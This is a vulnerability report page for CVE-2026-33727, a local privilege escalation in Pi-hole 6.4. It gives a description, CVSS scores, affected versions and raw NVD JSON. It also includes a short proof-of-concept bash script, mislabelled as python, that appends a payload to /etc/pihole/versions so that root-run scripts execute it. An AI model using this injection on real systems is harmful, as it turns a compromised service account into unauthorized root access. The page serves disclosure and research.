Security Vulnerability Report
中文
CVE-2026-33727 CVSS 6.4 MEDIUM

CVE-2026-33727

Published: 2026-04-06 16:16:34
Last Modified: 2026-04-09 18:18:28

Description

Pi-hole is a Linux network-level advertisement and Internet tracker blocking application. Version 6.4 has a local privilege-escalation vulnerability allows code execution as root from the low-privilege pihole account. Important context: the pihole account uses nologin, so this is not a direct interactive-login issue. However, nologin does not prevent code from running as UID pihole if a Pi-hole component is compromised. In that realistic post-compromise scenario, attacker-controlled content in /etc/pihole/versions is sourced by root-run Pi-hole scripts, leading to root code execution. This vulnerability is fixed in 6.4.1.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pi-hole:pi-hole:6.4:*:*:*:*:*:*:* - VULNERABLE
Pi-hole 6.4
Pi-hole < 6.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-33727: Pi-hole Local Privilege Escalation # Description: Inject malicious code into /etc/pihole/versions to achieve root RCE. # Context: Run this as the 'pihole' user (e.g., via a web vulnerability). TARGET_FILE="/etc/pihole/versions" # Check if we can write to the target if [ -w "$TARGET_FILE" ]; then echo "[+] Target file is writable. Injecting payload..." # Create a payload that creates a root-owned file as proof of concept # The payload will be sourced by a root-run script. PAYLOAD='echo "CVE-2026-33727 POC: $(whoami)" > /tmp/pwned_by_cve_2026_33727.txt' # Append payload to the versions file # Note: The actual exploitation depends on how the script sources the file. # This assumes the file is executed or sourced directly. echo "$PAYLOAD" >> "$TARGET_FILE" echo "[+] Payload injected. Wait for a cron job or admin action to trigger the root script." echo "[+] Check /tmp/pwned_by_cve_2026_33727.txt for root access." else echo "[-] Error: Cannot write to $TARGET_FILE. Exploit failed." fi

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33727", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:33.987", "lastModified": "2026-04-09T18:18:28.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pi-hole is a Linux network-level advertisement and Internet tracker blocking application. Version 6.4 has a local privilege-escalation vulnerability allows code execution as root from the low-privilege pihole account. Important context: the pihole account uses nologin, so this is not a direct interactive-login issue. However, nologin does not prevent code from running as UID pihole if a Pi-hole component is compromised. In that realistic post-compromise scenario, attacker-controlled content in /etc/pihole/versions is sourced by root-run Pi-hole scripts, leading to root code execution. This vulnerability is fixed in 6.4.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pi-hole:pi-hole:6.4:*:*:*:*:*:*:*", "matchCriteriaId": "3E760B4F-996F-4B2D-9E52-C0E656775168"}]}]}], "references": [{"url": "https://github.com/pi-hole/pi-hole/security/advisories/GHSA-c935-8g63-qp74", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}